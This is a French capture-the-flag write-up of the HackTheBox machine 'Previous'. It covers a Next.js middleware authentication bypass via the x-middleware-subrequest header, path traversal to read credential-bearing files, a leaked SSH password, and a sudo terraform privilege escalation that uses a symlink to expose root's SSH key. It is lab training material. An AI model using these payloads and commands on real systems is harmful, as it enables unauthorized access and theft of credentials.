- Platforme: HackTheBox
- Lien: Previous
- Niveau: Moyen
- OS: Linux
L’exploitation de Previous débute par l’abus du CVE-2025-29927, une vulnérabilité de contournement de l’authentification via le middleware de Next.js, permettant d’accéder à une fonctionnalité restreinte. Cet accès est ensuite mis à profit pour exploiter une vulnérabilité de traversée de répertoires, autorisant la lecture arbitraire de fichiers et la divulgation de données sensibles de l’application, notamment des identifiants SSH. Après l’obtention d’un premier accès au système, l’élévation de privilèges est réalisée en abusant d’une exécution Terraform mal configurée avec les droits root, conduisant finalement à la récupération de la clé SSH de l’utilisateur root.
Balayage
nmap -sC -sV -Pn -oA nmap/Previous {IP}
Résultats
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-17 04:46 CST
Nmap scan report for 10.129.242.162 (10.129.242.162)
Host is up (0.16s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://previous.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.48 seconds
Nmap trouve deux ports ouverts exécutant SSH (22) et http (80), il y a également une redirection vers previous.htb que nous ajoutons au fichier /etc/hosts.
sudo echo "{IP} previous.htb" | sudo tee -a /etc/hosts
Enumération
Nous accédons au site web à l’adresse http://previous.htb/. Il utilise un framework Javascript appelé PreviousJS.

Lorsque nous cliquons sur Get Started ou Docs, nous accédons à une page de connexion pour laquelle nous ne disposons d’aucun identifiant.

Grâce à Wappalyzer, nous constatons que l’application utilise la version 15.2.2 de NextJS.

Après avoir examiné les requêtes avec Burp, nous constatons que beaucoup passent par le répertoire _next. Une recherche rapide sur Google nous apprend qu’il s’agit d’un dossier interne utilisé pour charger le Javascript et les données de page de l’application.

La capture d’une requête de connexion révèle que l’application utilise NextAuth, une bibliothèque d’authentification. Elle fournit une protection contre les attaques CSRF (Cross-Site Request Forgery) sur toutes les routes d’authentification.
L’application utilise NextAuth.js, un package d’authentification open source pour
Next.js.

L’énumération des répertoires par force brute ne permet de découvrir aucun nouvel élément pertinent.
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://previous.htb

Lors de la recherche de vulnérabilités connues affectant cette version de Next.js, nous identifions le CVE-2025-29927, une vulnérabilité permettant de contourner l’authentification via le middleware. Les applications Next.js protègent fréquemment certaines routes à l’aide de middleware, ce qui permet aux développeurs d’exécuter une logique de contrôle avant qu’une requête n’atteigne une page ou une route API. En interne, Next.js utilise l’en-tête x-middleware-subrequest afin de suivre l’exécution du middleware lors de sous-requêtes internes. Cet en-tête est exclusivement destiné à la communication interne du framework et ne doit pas être considéré comme fiable lorsqu’il est fourni par un client externe.
Sur les versions vulnérables :
- L’application fait confiance à l’en-tête même lorsqu’il provient de l’utilisateur.
- Si l’en-tête est présent, la logique du middleware peut être ignorée.
- Il en résulte la possibilité d’accéder à des pages protégées sans se connecter.
Le processus normal est le suivant:
Request --> Middleware (auth check) --> Protected page
En utilisant l’en-tête malveillant:
Request + x-middleware-subrequest
1. Le middleware pense qu'il a déjà été exécuté.
2. La vérification d'authentification est ignorée.
3. La page protégée est servie.
Essayons d’exploiter cette vulnérabilité dans la page de connexion. L’article nous indique d’utiliser la charge utile suivante.
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
Lorsque la liste d’en-têtes contient le nom du middleware, le framework considère qu’il s’agit d’une sous-requête interne et n’applique pas les contrôles d’authentification. Nous répétons
middlewarecar les versions récentes de Next.js intègrent un compteur de récursion afin d’éviter les boucles infinies. En interne, le framework ne saute l’exécution du middleware que si le nombre d’occurrences du nom du middleware dans l’en-têtex-middleware-subrequestest supérieur ou égal à la profondeur maximale de récursion (5).
Nous capturons la requête que nous obtenons après avoir cliqué sur Docs et y ajoutons le payload.

Insérer manuellement le payload dans chaque requête est fastidieux, nous ajoutons donc une règle dans les paramètres proxy de Burp pour résoudre ce problème.
Nous allons dans Proxy settings –> Proxy–> sous HTTP match and replace rules –> cliquer sur Add –> Ajoutons l’en-tête –> OK.
Lorsque la section
Matchest laissée vide, Burp ajoute l’en-tête personnalisé à toutes les requêtes.

Comme le montre l’image ci-dessous, Burp ajoute automatiquement notre en-tête personnalisé à toutes les requêtes.

Désormais, nous contournons automatiquement la fonctionnalité de connexion en cliquant simplement sur l’un des boutons disponibles sur http://previous.htb/.

La section Examples mène à une page proposant une fonctionnalité de téléchargement.

Un fichier nommé hello-world.ts est téléchargé.

Nous testons la traversée de répertoires et remarquons que nous pouvons lire le fichier /etc/passwd.

Accès Initial
Nous voyons deux utilisateurs: node et nextjs. Ensuite, nous lisons le fichier /proc/self/environ.
/proc/self/environcontient les variables d’environnement du processus d’application web actuellement en cours d’exécution. Il comprend souvent des informations confidentielles telles que des identifiants, des clés API, etc.

À partir du contenu de la réponse, nous pouvons déduire plusieurs éléments:
- Le backend de l’application s’exécute avec Node.js 18.
- L’application est située dans le répertoire
/app.
Plusieurs fichiers de configuration courants sont généralement présents à la racine d’un projet Next.js:
package.json, qui définit les dépendances ainsi que les scripts npm.next.config.js, qui contient des paramètres de configuration optionnels propres à Next.js.- Les fichiers
.env(par exemple.env.local), qui peuvent être utilisés pour stocker des variables d’environnement et des secrets.
Nous lisons ensuite package.json et constatons que NextAuth y est mentionné une nouvelle fois ; cette fois-ci, sa version est également indiquée.
../../../app/package.json

Nous essayons maintenant de lire le fichier de configuration NextAuth.js. Nous apprenons ici que son emplacement peut être /pages/api/auth/[...nextauth].js ou /app/api/auth/[...nextauth]/route.js.
/pages/api/auth/[...nextauth].js
/app/api/auth/[...nextauth]/route.js
Après avoir essayé les deux options, nous obtenons une erreur File not found ce qui signifie que l’emplacement du fichier que nous avons fourni n’est pas correct. Cela diffère d’un manque d’autorisation de lecture.

À titre d’exemple, essayons de lire root/root.txt. Nous savons que ce fichier existe, car il s’agit d’une machine HackTheBox. Nous obtenons une erreur Read error, ce qui signifie que le fichier existe, mais que nous n’avons pas l’autorisation de le lire.

Nous pourrions continuer à deviner l’emplacement spécifique du fichier, mais cela prendrait beaucoup de temps. Au lieu de cela, nous pouvons créer un exemple de projet à partir du fichier package.son et observer sa structure.
Ci-dessous se trouve la structure de mon projet.

À l’intérieur de nextjsapp, nous exécutons:
npm install
npm run build
Après avoir listé le contenu de nextjsapp, nous pouvons voir un répertoire .next. Ce répertoire est généré automatiquement et est utilisé à la fois pour le développement et la production. Il contient tout ce qui est nécessaire pour exécuter l’application. Il contient donc certainement des fichiers sensibles.

Après avoir obtenu une vue d’ensemble claire de la structure du projet, il est désormais facile de comprendre pourquoi /pages/api/auth/[...nextauth].js ne fonctionnait pas. /pages/api/auth/[...nextauth].js se trouve sous /app/.next/server.

L’emplacement correct est
../../../app/.next/server/pages/api/auth/[...nextauth].js
Nous savions déjà que le chemin d’accès au fichier comprenait
/pages/api/auth/[...nextauth].js, mais il n’était pas complet, ce qui expliquait pourquoi nous obtenions le messageFile not found. Une fois que nous avons trouvé les répertoires précédant/pages, le chemin d’accès complet était désormais clair.

La réponse à la requête comprend du code JavaScript minifié, que nous traitons avec un embellisseur afin de le rendre plus lisible. Il contient des informations d’identification.

jeremy:MyNameIsJeremyAndILovePancakes
Nous les utilisons et nous nous connectons via SSH.
Elévation de Privilèges
En exécutant sudo -l, nous observons que jeremy peut exécuter terraform apply en tant que root dans /opt/examples. De plus, !env_reset indique que les variables d’environnement ne seront pas réinitialisées automatiquement lors de l’exécution de sudo.
env_resetest activé par défaut, de sorte que lorsqu’une commande est exécutée avecsudo, la plupart des variables d’environnement sont effacées ou nettoyées. Cela permet d’éviter des manipulations telles queLD_PRELOAD, le détournement dePATH, la manipulation de plugins, etc.

Dans /opt/examples/main.tf, la variable source_path est définie avec default = "/root/examples/hello-world.ts". Cela signifie que si l’utilisateur ne fournit pas de valeur pour cette variable, Terraform utilisera automatiquement la valeur par défaut. De plus, tout chemin d’accès fourni doit inclure /root/examples.
Terraform est configuré pour utiliser un fournisseur personnalisé previous.htb/terraform/examples.
Un fournisseur est un plugin qui aide Terraform à interagir avec certains systèmes externes.

Nous pouvons remplacer la valeur default de source_path en définissant notre propre chemin d’accès au fichier. Étant donné que les variables d’environnement ne seront pas réinitialisées, toutes les modifications que nous apportons seront conservées.

Exécutons le script.
sudo /usr/bin/terraform -chdir\=/opt/examples apply

Essentiellement, /root/examples/hello-world.ts est copié vers /home/jeremy/docker/previous/public/examples/hello-world.ts.
Sur ce site nous montre différentes façons de définir des variables pour Terraform. Nous pouvons utiliser TF_VAR_name pour définir des variables. Nous avons désormais tout ce qu’il faut pour exploiter la cible.
Même s’il existe une restriction relative au chemin d’accès au fichier, celle-ci est purement basée sur une chaîne de caractères. Le script vérifie uniquement si le chemin d’accès au fichier fourni contient /root/examples. Il n’empêche pas non plus l’utilisation de liens symboliques.
- Créer une fausse arborescence de répertoires autorisés.
mkdir -p /tmp/root/examples
- Créer un lien symbolique pointant vers la clé privée root.
ln -sf /root/.ssh/id_rsa /tmp/root/examples
- Remplacer la valeur par défaut de la variable
source_path. Terraform s’exécute en tant que root et transmet notre fichier contrôlé au fournisseur.
TF_VAR_source_path=/tmp/root/examples/id_rsa sudo terraform -chdir\=/opt/examples apply
Entrer yes lorsque vous êtes invité à Enter a value.

- Le fournisseur copie le fichier référencé dans le répertoire
examplesaccessible àjeremy, ce qui permet la divulgation de la clé SSHroot.
cat /home/jeremy/docker/previous/public/examples/id_rsa

Nous nous connectons en tant qu’administrateur et lisons le fichier root.txt.
ssh -i id_rsa root@previous.htb
